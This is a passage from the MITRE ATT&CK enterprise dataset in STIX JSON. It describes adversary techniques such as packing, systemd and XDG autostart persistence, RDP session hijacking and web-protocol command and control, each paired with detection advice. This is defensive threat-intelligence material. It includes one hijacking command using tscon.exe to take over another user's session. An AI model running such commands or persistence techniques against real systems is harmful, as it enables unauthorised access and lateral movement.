"x_mitre_contributors": ["Filip Kafka, ESET"], "x_mitre_deprecated": false, "x_mitre_detection": "Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_platforms": ["macOS", "Windows", "Linux"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["File: File Metadata"], "x_mitre_defense_bypassed": ["Anti-virus", "Heuristic detection", "Signature-based detection"], "type": "attack-pattern", "id": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "created": "2020-02-05T14:17:46.686Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1027/002", "external_id": "T1027.002"}, {"source_name": "Awesome Executable Packing", "description": "Alexandre D'Hondt. (n.d.). Awesome Executable Packing. Retrieved March 11, 2022.", "url": "https://github.com/dhondta/awesome-executable-packing"}, {"source_name": "ESET FinFisher Jan 2018", "description": "Kafka, F. (2018, January). ESET's Guide to Deobfuscating and Devirtualizing FinFisher. Retrieved August 12, 2019.", "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]}, {"modified": "2022-10-20T21:19:57.555Z", "name": "Serverless", "description": "Adversaries may compromise serverless cloud infrastructure, such as Cloudflare Workers or AWS Lambda functions, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them. \n\nOnce compromised, the serverless runtime environment can be leveraged to either respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090) traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector) As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers.(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "resource-development"}], "x_mitre_detection": "", "x_mitre_platforms": ["PRE"], "x_mitre_is_subtechnique": true, "x_mitre_deprecated": false, "x_mitre_domains": ["enterprise-attack"], "x_mitre_version": "1.0", "x_mitre_contributors": ["Awake Security"], "x_mitre_data_sources": ["Internet Scan: Response Content"], "type": "attack-pattern", "id": "attack-pattern--df1bc34d-1634-4c93-b89e-8120994fce77", "created": "2022-07-08T12:46:15.450Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1584/007", "external_id": "T1584.007"}, {"source_name": "AWS Lambda Redirector", "description": "Adam Chester. (2020, February 25). AWS Lambda Redirector. Retrieved July 8, 2022.", "url": "https://blog.xpnsec.com/aws-lambda-redirector/"}, {"source_name": "Detecting Command & Control in the Cloud", "description": "Gary Golomb. (n.d.). Threat Hunting Series: Detecting Command & Control in the Cloud. Retrieved July 8, 2022.", "url": "https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/"}, {"source_name": "BlackWater Malware Cloudflare Workers", "description": "Lawrence Abrams. (2020, March 14). BlackWater Malware Abuses Cloudflare Workers for C2 Communication. Retrieved July 8, 2022.", "url": "https://www.bleepingcomputer.com/news/security/blackwater-malware-abuses-cloudflare-workers-for-c2-communication/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-16T12:28:21.234Z", "name": "Web Protocols", "description": "Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as HTTP/S(Citation: CrowdStrike Putter Panda) and WebSocket(Citation: Brazking-Websockets) that carry web traffic may be very common in environments. HTTP/S packets have many fields and headers in which data can be concealed. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "command-and-control"}], "x_mitre_contributors": ["TruKno"], "x_mitre_deprecated": false, "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)\n\nMonitor for web traffic to/from known-bad or suspicious domains. ", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Network"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["Network Traffic: Network Traffic Content", "Network Traffic: Network Traffic Flow"], "type": "attack-pattern", "id": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "created": "2020-03-15T16:13:46.151Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1071/001", "external_id": "T1071.001"}, {"source_name": "CrowdStrike Putter Panda", "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"}, {"source_name": "University of Birmingham C2", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}, {"source_name": "Brazking-Websockets", "description": "Shahar Tavor. (n.d.). BrazKing Android Malware Upgraded and Targeting Brazilian Banks. Retrieved March 24, 2023.", "url": "https://securityintelligence.com/posts/brazking-android-malware-upgraded-targeting-brazilian-banks/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-04-07T17:13:03.738Z", "name": "Visual Basic", "description": "Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft)\n\nDerivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript)\n\nAdversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads (which may also involve [Mark-of-the-Web Bypass](https://attack.mitre.org/techniques/T1553/005) to enable execution).(Citation: Default VBS macros Blocking )", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "execution"}], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor for events associated with VB execution, such as Office applications spawning processes, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving VB payloads or scripts, or loading of modules associated with VB languages (ex: vbscript.dll). VB execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programable post-compromise behaviors and could be used as indicators of detection leading back to the source.\n\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If VB execution is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If VB execution is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Payloads and scripts should be captured from the file system when possible to determine their actions and intent.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows", "macOS", "Linux"], "x_mitre_version": "1.4", "x_mitre_data_sources": ["Module: Module Load", "Command: Command Execution", "Process: Process Creation", "Script: Script Execution"], "x_mitre_remote_support": false, "type": "attack-pattern", "id": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "created": "2020-03-09T14:29:51.508Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1059/005", "external_id": "T1059.005"}, {"source_name": "VB .NET Mar 2020", "description": ".NET Team. (2020, March 11). Visual Basic support planned for .NET 5.0. Retrieved June 23, 2020.", "url": "https://devblogs.microsoft.com/vbteam/visual-basic-support-planned-for-net-5-0/"}, {"source_name": "Default VBS macros Blocking ", "description": "Kellie Eickmeyer. (2022, February 7). Helping users stay safe: Blocking internet macros by default in Office. Retrieved February 7, 2022.", "url": "https://techcommunity.microsoft.com/t5/microsoft-365-blog/helping-users-stay-safe-blocking-internet-macros-by-default-in/ba-p/3071805"}, {"source_name": "Microsoft VBScript", "description": "Microsoft. (2011, April 19). What Is VBScript?. Retrieved March 28, 2020.", "url": "https://docs.microsoft.com/previous-versions//1kw29xwf(v=vs.85)"}, {"source_name": "Microsoft VBA", "description": "Microsoft. (2019, June 11). Office VBA Reference. Retrieved June 23, 2020.", "url": "https://docs.microsoft.com/office/vba/api/overview/"}, {"source_name": "VB Microsoft", "description": "Microsoft. (n.d.). Visual Basic documentation. Retrieved June 23, 2020.", "url": "https://docs.microsoft.com/dotnet/visual-basic/"}, {"source_name": "Wikipedia VBA", "description": "Wikipedia. (n.d.). Visual Basic for Applications. Retrieved August 13, 2020.", "url": "https://en.wikipedia.org/wiki/Visual_Basic_for_Applications"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--dfebc3b7-d19d-450b-81c7-6dafe4184c04", "type": "attack-pattern", "created": "2020-06-28T22:55:55.719Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1564.005", "url": "https://attack.mitre.org/techniques/T1564/005"}, {"source_name": "MalwareTech VFS Nov 2014", "url": "https://www.malwaretech.com/2014/11/virtual-file-systems-for-beginners.html", "description": "Hutchins, M. (2014, November 28). Virtual File Systems for Beginners. Retrieved June 22, 2020."}, {"url": "https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html", "description": "Andonov, D., et al. (2015, December 7). Thriving Beyond The Operating System: Financial Threat Group Targets Volume Boot Record. Retrieved May 13, 2016.", "source_name": "FireEye Bootkits"}, {"source_name": "ESET ComRAT May 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."}, {"source_name": "Kaspersky Equation QA", "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). Equation Group: Questions and Answers. Retrieved December 21, 2015.", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf"}], "modified": "2020-06-29T15:12:11.024Z", "name": "Hidden File System", "description": "Adversaries may use a hidden file system to conceal malicious activity from users and security tools. File systems provide a structure to store and access data from physical storage. Typically, a user engages with a file system through applications that allow them to access files and directories, which are an abstraction from their physical location (ex: disk sector). Standard file systems include FAT, NTFS, ext4, and APFS. File systems can also contain other structures, such as the Volume Boot Record (VBR) and Master File Table (MFT) in NTFS.(Citation: MalwareTech VFS Nov 2014)\n\nAdversaries may use their own abstracted file system, separate from the standard file system present on the infected system. In doing so, adversaries can hide the presence of malicious components and file input/output from security tools. Hidden file systems, sometimes referred to as virtual file systems, can be implemented in numerous ways. One implementation would be to store a file system in reserved disk space unused by disk structures or standard file system partitions.(Citation: MalwareTech VFS Nov 2014)(Citation: FireEye Bootkits) Another implementation could be for an adversary to drop their own portable partition image as a file on top of the standard file system.(Citation: ESET ComRAT May 2020) Adversaries may also fragment files across the existing file system structure in non-standard ways.(Citation: Kaspersky Equation QA)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Detecting the use of a hidden file system may be exceptionally difficult depending on the implementation. Emphasis may be placed on detecting related aspects of the adversary lifecycle, such as how malware interacts with the hidden file system or how a hidden file system is loaded. Consider looking for anomalous interactions with the Registry or with a particular file on disk. Likewise, if the hidden file system is loaded on boot from reserved disk space, consider shifting focus to detecting [Bootkit](https://attack.mitre.org/techniques/T1542/003) activity.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Firmware: Firmware Modification", "File: File Modification", "Windows Registry: Windows Registry Key Modification"], "x_mitre_permissions_required": ["User", "Administrator"]}, {"modified": "2024-02-15T14:19:22.282Z", "name": "Systemd Service", "description": "Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014) Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible.  \n\nSystemd utilizes unit configuration files with the `.service` file extension to encode information about a service's process. By default, system level unit files are stored in the `/systemd/system` directory of the root owned directories (`/`). User level unit files are stored in the `/systemd/user` directories of the user owned directories (`$HOME`).(Citation: lambert systemd 2022) \n\nInside the `.service` unit files, the following directives are used to execute commands:(Citation: freedesktop systemd.service)  \n\n* `ExecStart`, `ExecStartPre`, and `ExecStartPost` directives execute when a service is started manually by `systemctl` or on system start if the service is set to automatically start.\n* `ExecReload` directive executes when a service restarts. \n* `ExecStop`, `ExecStopPre`, and `ExecStopPost` directives execute when a service is stopped.  \n\nAdversaries have created new service files, altered the commands a `.service` file\u2019s directive executes, and modified the user directive a `.service` file executes as, which could result in privilege escalation. Adversaries may also place symbolic links in these directories, enabling systemd to find these payloads regardless of where they reside on the filesystem.(Citation: Anomali Rocke March 2019)(Citation: airwalk backdoor unix systems)(Citation: Rapid7 Service Persistence 22JUNE2016) \n\nThe .service file\u2019s User directive can be used to run service as a specific user, which could result in privilege escalation based on specific user/group permissions. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_contributors": ["Tony Lambert, Red Canary", "Emad Al-Mousa, Saudi Aramco", "Tim (Wadhwa-)Brown"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor file creation and modification events of Systemd service unit configuration files in the default directory locations for `root` & `user` level permissions. Suspicious processes or scripts spawned in this manner will have a parent process of \u2018systemd\u2019, a parent process ID of 1, and will usually execute as the `root` user.(Citation: lambert systemd 2022) \n\nSuspicious systemd services can also be identified by comparing results against a trusted system baseline. Malicious systemd services may be detected by using the systemctl utility to examine system wide services: `systemctl list-units -\u2013type=service \u2013all`. Analyze the contents of `.service` files present on the file system and ensure that they refer to legitimate, expected executables, and symbolic links.(Citation: Berba hunting linux systemd)\n\nAuditing the execution and command-line arguments of the `systemctl` utility, as well related utilities such as `/usr/sbin/service` may reveal malicious systemd service execution.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux"], "x_mitre_version": "1.5", "x_mitre_data_sources": ["Command: Command Execution", "File: File Modification", "Service: Service Creation", "Service: Service Modification", "Process: Process Creation", "File: File Creation"], "x_mitre_permissions_required": ["User", "root"], "type": "attack-pattern", "id": "attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b", "created": "2020-01-17T16:15:19.870Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1543/002", "external_id": "T1543.002"}, {"source_name": "airwalk backdoor unix systems", "description": "airwalk. (2023, January 1). A guide to backdooring Unix systems. Retrieved May 31, 2023.", "url": "http://www.ouah.org/backdoors.html"}, {"source_name": "Anomali Rocke March 2019", "description": "Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019.", "url": "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang"}, {"source_name": "freedesktop systemd.service", "description": "Free Desktop. (n.d.). systemd.service \u2014 Service unit configuration. Retrieved March 20, 2023.", "url": "https://www.freedesktop.org/software/systemd/man/systemd.service.html"}, {"source_name": "Linux man-pages: systemd January 2014", "description": "Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019.", "url": "http://man7.org/linux/man-pages/man1/systemd.1.html"}, {"source_name": "Berba hunting linux systemd", "description": "Pepe Berba. (2022, January 30). Hunting for Persistence in Linux (Part 3): Systemd, Timers, and Cron. Retrieved March 20, 2023.", "url": "https://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/"}, {"source_name": "Rapid7 Service Persistence 22JUNE2016", "description": "Rapid7. (2016, June 22). Service Persistence. Retrieved April 23, 2019.", "url": "https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence"}, {"source_name": "lambert systemd 2022", "description": "Tony Lambert. (2022, November 13). ATT&CK T1501: Understanding systemd service persistence. Retrieved March 20, 2023.", "url": "https://redcanary.com/blog/attck-t1501-understanding-systemd-service-persistence/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-08-14T15:37:02.771Z", "name": "RDP Hijacking", "description": "Adversaries may hijack a legitimate user\u2019s remote desktop session to move laterally within an environment. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)\n\nAdversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session. With System permissions and using Terminal Services Console, `c:\\windows\\system32\\tscon.exe [session number to be stolen]`, an adversary can hijack a session without the need for credentials or prompts to the user.(Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions.(Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.(Citation: Kali Redsnarf)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "lateral-movement"}], "x_mitre_deprecated": false, "x_mitre_detection": "Consider monitoring processes for `tscon.exe` usage and monitor service creation that uses `cmd.exe /k` or `cmd.exe /c` in its arguments to detect RDP session hijacking.\n\nUse of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["Logon Session: Logon Session Creation", "Process: Process Creation", "Command: Command Execution", "Network Traffic: Network Traffic Flow", "Network Traffic: Network Traffic Content"], "type": "attack-pattern", "id": "attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c", "created": "2020-02-25T18:35:42.765Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1563/002", "external_id": "T1563.002"}, {"source_name": "RDP Hijacking Medium", "description": "Beaumont, K. (2017, March 19). RDP hijacking\u200a\u2014\u200ahow to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.", "url": "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6"}, {"source_name": "RDP Hijacking Korznikov", "description": "Korznikov, A. (2017, March 17). Passwordless RDP Session Hijacking Feature All Windows versions. Retrieved December 11, 2017.", "url": "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html"}, {"source_name": "TechNet Remote Desktop Services", "description": "Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.", "url": "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx"}, {"source_name": "Kali Redsnarf", "description": "NCC Group PLC. (2016, November 1). Kali Redsnarf. Retrieved December 11, 2017.", "url": "https://github.com/nccgroup/redsnarf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-01-31T20:46:43.215Z", "name": "Create Account", "description": "Adversaries may create an account to maintain access to victim systems.(Citation: Symantec WastedLocker June 2020) With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\n\nAccounts may be created on the local system or within a domain or cloud tenant. In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_contributors": ["Microsoft Threat Intelligence Center (MSTIC)", "Praetorian", "Austin Clark, @c2defense"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor for processes and command-line parameters associated with account creation, such as <code>net user</code> or <code>useradd</code>. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary.\n\nCollect usage logs from cloud administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Windows", "Azure AD", "Office 365", "IaaS", "Linux", "macOS", "Google Workspace", "Network", "Containers", "SaaS"], "x_mitre_version": "2.4", "x_mitre_data_sources": ["Process: Process Creation", "Command: Command Execution", "User Account: User Account Creation"], "type": "attack-pattern", "id": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1136", "external_id": "T1136"}, {"source_name": "Microsoft User Creation Event", "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.", "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720"}, {"source_name": "Symantec WastedLocker June 2020", "description": "Symantec Threat Intelligence. (2020, June 25). WastedLocker: Symantec Identifies Wave of Attacks Against U.S. Organizations. Retrieved May 20, 2021.", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-10-16T16:35:12.501Z", "name": "XDG Autostart Entries", "description": "Adversaries may add or modify XDG Autostart Entries to execute malicious programs or commands when a user\u2019s desktop environment is loaded at login. XDG Autostart entries are available for any XDG-compliant Linux system. XDG Autostart entries use Desktop Entry files (`.desktop`) to configure the user\u2019s desktop environment upon user login. These configuration files determine what applications launch upon user login, define associated applications to open specific file types, and define applications used to open removable media.(Citation: Free Desktop Application Autostart Feb 2006)(Citation: Free Desktop Entry Keys)\n\nAdversaries may abuse this feature to establish persistence by adding a path to a malicious binary or command to the `Exec` directive in the `.desktop` configuration file. When the user\u2019s desktop environment is loaded at user login, the `.desktop` files located in the XDG Autostart directories are automatically executed. System-wide Autostart entries are located in the `/etc/xdg/autostart` directory while the user entries are located in the `~/.config/autostart` directory.\n\nAdversaries may combine this technique with [Masquerading](https://attack.mitre.org/techniques/T1036) to blend malicious Autostart entries with legitimate programs.(Citation: Red Canary Netwire Linux 2022)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_contributors": ["Tony Lambert, Red Canary"], "x_mitre_deprecated": false, "x_mitre_detection": "Malicious XDG autostart entries may be detected by auditing file creation and modification events within the <code>/etc/xdg/autostart</code> and <code>~/.config/autostart</code> directories. Depending on individual configurations, defenders may need to query the environment variables <code>$XDG_CONFIG_HOME</code> or <code>$XDG_CONFIG_DIRS</code> to determine the paths of Autostart entries. Autostart entry files not associated with legitimate packages may be considered suspicious. Suspicious entries can also be identified by comparing entries to a trusted system baseline.\n \nSuspicious processes or scripts spawned in this manner will have a parent process of the desktop component implementing the XDG specification and will execute as the logged on user.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["File: File Creation", "Command: Command Execution", "Process: Process Creation", "File: File Modification"], "x_mitre_permissions_required": ["User", "root"], "type": "attack-pattern", "id": "attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11", "created": "2019-09-10T18:13:12.195Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1547/013", "external_id": "T1547.013"}, {"source_name": "Free Desktop Application Autostart Feb 2006", "description": "Free Desktop. (2006, February 13). Desktop Application Autostart Specification. Retrieved September 12, 2019.", "url": "https://specifications.freedesktop.org/autostart-spec/autostart-spec-latest.html"}, {"source_name": "Free Desktop Entry Keys", "description": "Free Desktop. (2017, December 24). Recognized Desktop Entry Keys. Retrieved September 12, 2019.", "url": "https://specifications.freedesktop.org/desktop-entry-spec/1.2/ar01s06.html"}, {"source_name": "Red Canary Netwire Linux 2022", "description": "TONY LAMBERT. (2022, June 7). Trapping the Netwire RAT on Linux. Retrieved September 28, 2023.", "url": "https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-01-31T20:05:44.075Z", "name": "Server", "description": "Adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control.(Citation: TrendMicro EarthLusca 2022) Instead of purchasing a [Server](https://attack.mitre.org/techniques/T1583/004) or [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may compromise third-party servers in support of operations.\n\nAdversaries may also compromise web servers to support watering hole operations, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or email servers to support [Phishing](https://attack.mitre.org/techniques/T1566) operations.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "resource-development"}], "x_mitre_contributors": ["Dor Edry, Microsoft"], "x_mitre_deprecated": false, "x_mitre_detection": "Once adversaries have provisioned software on a compromised server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["PRE"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Internet Scan: Response Content", "Internet Scan: Response Metadata"], "type": "attack-pattern", "id": "attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5", "created": "2020-10-01T00:56:25.135Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": 